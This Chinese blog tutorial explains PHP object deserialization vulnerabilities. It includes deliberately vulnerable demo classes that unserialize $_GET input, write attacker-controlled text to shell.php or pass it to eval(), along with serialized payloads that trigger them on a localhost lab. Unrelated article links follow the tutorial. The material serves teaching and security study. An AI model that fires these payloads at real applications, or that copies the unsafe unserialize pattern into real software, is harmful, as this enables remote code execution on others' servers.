php反序列化浅谈
0x01 serialize()和unserialize()
先介绍下几个函数
serialize()是用于将类转换为一个字符串
unserialize()用于将字符串转换回一个类
serialize()
<?php
class test{
var $a = 'yicunyiye';
}
$p = new test();
$ser = serialize($p);
echo $ser;
?>
输出为
O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}
这里O是说明为对象为4个字符,1是表示只有一个值{}里面的s表示为字符串为1就是变量a的长度,然后就是9表示值的长度
unserialize()
<?php
class test{
var $a = 'yicunyiye';
}
$p = new test();
// $ser = serialize($p);
$a = 'O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}';
$unser = unserialize($a);
print_r($unser);
?>
输出为
test Object ( [a] => yicunyiye )
这里的test为对象[a] => yicunyiye 为 $a = "yicunyiye"
0x02 漏洞产生
当我们传入给unserialize()参数可控的时候就可以利用
Magic function
php中有一类特殊的方法叫做“Magic function”
构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的
析构函数__destruct():当对象被销毁时会自动调用。
__wakeup():如前所提,unserialize()时会自动调用
<?php
header("Content-type: text/html;charset=utf-8");
class test{
var $test='123';
function __wakeup(){
echo "__wakeup"."<br>";
}
function __construct(){
echo "__construct"."<br>";
}
function __destruct(){
echo "__destruct"."<br>";
}
}
echo "serialize:====="."<br>";
$data=new test;
$data=serialize($data);
echo "unserialize:====="."<br>";
$jm=unserialize($data);
print_r($jm);
?>
输出结果为
serialize:=====
__construct
__destruct
unserialize:=====
__wakeup
test Object ( [test] => 123 ) __destruct
wakeup() 或destruct()由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们
因此我们写一个
<?php
class aaaa{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>
url为:http://127.0.0.1/m/index.php?test=O:4:"aaaa":1:{s:4:"test";s:19:"<?php phpinfo(); >";}

这里可以看到只要传入给test就行了
其他Magic function的利用,如果用construct()其实是一样的只需要一步步溯源回去即可
<?php
class con{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class wake{
var $test = '123';
function __wakeup(){
$obj = new con($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
payload:O:4:"wake":1:{s:4:"test";s:18:"";}

利用普通成员方法
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。
比如这里
<?php
class chybeta {
var $test;
function __construct() {
$this->test= new ph0en1x(); //实例化ph0en1x
}
function __destruct() {
$this->test->action(); //调用ph0en1x类里的action()函数
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>
我们的payload修改为
<?php
class chybeta{
var $test;
function __construct(){
$this->test = new ph0en2x();
}
}
class ph0en2x{
var $test2 = "phpinfo();";
}
$class6 = new chybeta();
$payload = serialize($class6);
echo $payload;
?>
执行payload为:
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}

php反序列化浅谈的更多相关文章
- 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...
- 在net中json序列化与反序列化 面向对象六大原则 (第一篇) 一步一步带你了解linq to Object 10分钟浅谈泛型协变与逆变
在net中json序列化与反序列化 准备好饮料,我们一起来玩玩JSON,什么是Json:一种数据表示形式,JSON:JavaScript Object Notation对象表示法 Json语法规则 ...
- 浅谈WebService的版本兼容性设计
在现在大型的项目或者软件开发中,一般都会有很多种终端, PC端比如Winform.WebForm,移动端,比如各种Native客户端(iOS, Android, WP),Html5等,我们要满足以上所 ...
- .net中对象序列化技术浅谈
.net中对象序列化技术浅谈 2009-03-11 阅读2756评论2 序列化是将对象状态转换为可保持或传输的格式的过程.与序列化相对的是反序列化,它将流转换为对象.这两个过程结合起来,可以轻松地存储 ...
- 浅谈 Java 主流开源类库解析 XML
在大型项目编码推进中,涉及到 XML 解析问题时,大多数程序员都不太会选用底层的解析方式直接编码. 主要存在编码复杂性.难扩展.难复用....,但如果你是 super 程序员或是一个人的项目,也不妨一 ...
- pb传输优化浅谈
在正式切入今天要谈的优化之前,先碎碎念一些自己过去这几年的经历.很久没有登录过博客园了,今天也是偶然兴起打开上来看一下,翻看了下自己的随笔,最后一篇原创文章发布时间是2015年的4月,今天是2017年 ...
- 【转】浅谈.net remoting 与webservice
1. .NET Remoting .NET Remoting是微软随.NET推出的一种分布式应用解决方案,被誉为管理应用程序域之间的 RPC 的首选技,它允许不同应用程序域之间进行通信(这里的通信可以 ...
- ehcache的heap、off-heap、desk浅谈
ehcache的heap.off-heap.desk浅谈 答: 从读取速度上比较:heap > off-heap > disk heap堆内内存: heap表示使用堆内内存,heap( ...
- TensorFlow 2.0 深度学习实战 —— 浅谈卷积神经网络 CNN
前言 上一章为大家介绍过深度学习的基础和多层感知机 MLP 的应用,本章开始将深入讲解卷积神经网络的实用场景.卷积神经网络 CNN(Convolutional Neural Networks,Conv ...
随机推荐
- java中Math的常用方法整理
public class Demo{ public static void main(String args[]){ /** *Math.sqrt()//计算平方根 *Math.cbrt()//计算立 ...
- 贫血模型和DDD模型
贫血模型和DDD模型 1.贫血模型 1.1 概念 常见的mvc三层架构 简单.没有行为 2.领域驱动设计 2.1 概念(2004年提出的) Domain Driven Design 简称 DDD DD ...
- jQuery 筛选方法
前言 在jQuery中所有的东西全部都包含在jQuery对象中,并没有单独的DOM元素这一说法. 要想获取单独的DOM元素请用[index]获取,下面介绍的所有方法都会返回新的jQuery对象,而不是 ...
- python编程入门笔记
一.作用域 在python中,作用域分为两种:全局作用域和局部作用域. 全局作用域是定义在文件级别的变量,函数名.而局部作用域,则是定义函数内部. 关于作用域,我们要理解两点: a.在全局不能访问到局 ...
- Shell编程—sed和gawk
1文本处理 1.1sed 编辑器 sed编辑器被称作流编辑器(stream editor),和普通的交互式文本编辑器恰好相反.在交互式文本编辑器中(比如vim),你可以用键盘命令来交互式地插入.删除或 ...
- C#.WinForm 拖动文件到PictrueBox(支持跨UAC拖动)
如程序以普通方式打开,那么DragDrop DragEnter 事件是可以正常使用的.但以管理员身份运行时,这两个方法将失效. 原因是 Windows机制(用户界面特权隔离). UIPI:用户界面特权 ...
- 初始化文章分类的方法 下拉的layui框
触发时机:页面加载完毕之后 实现步骤: 1.利用$.ajax()发起请求 (找接口文档) 2.在success成功回调里面获取服务器返回的数据,判断一下返回的success是否是0. 3.如果不是0, ...
- 微信小程序自动化
解析微信小程序 注意:若上面方法不行就使用下面的 小程序对应的chrome驱动版本包,2.4版本的
- Qt 怎样生成带图标的exe
一.问题描述 当我们在 Windows 下用 VS 生成 exe 程序时,如果窗口程序指定了图标,那么生成的 exe 程序便是指定的图标模样. 但是,当使用 Qt Creator 编译程序却不同.即使 ...
- Javascript常见数据类型API
1 - 内置对象 1.1 内置对象 JavaScript 中的对象分为3种:自定义对象 .内置对象. 浏览器对象 前面两种对象是JS 基础 内容,属于 ECMAScript: 第三个浏览器对象 ...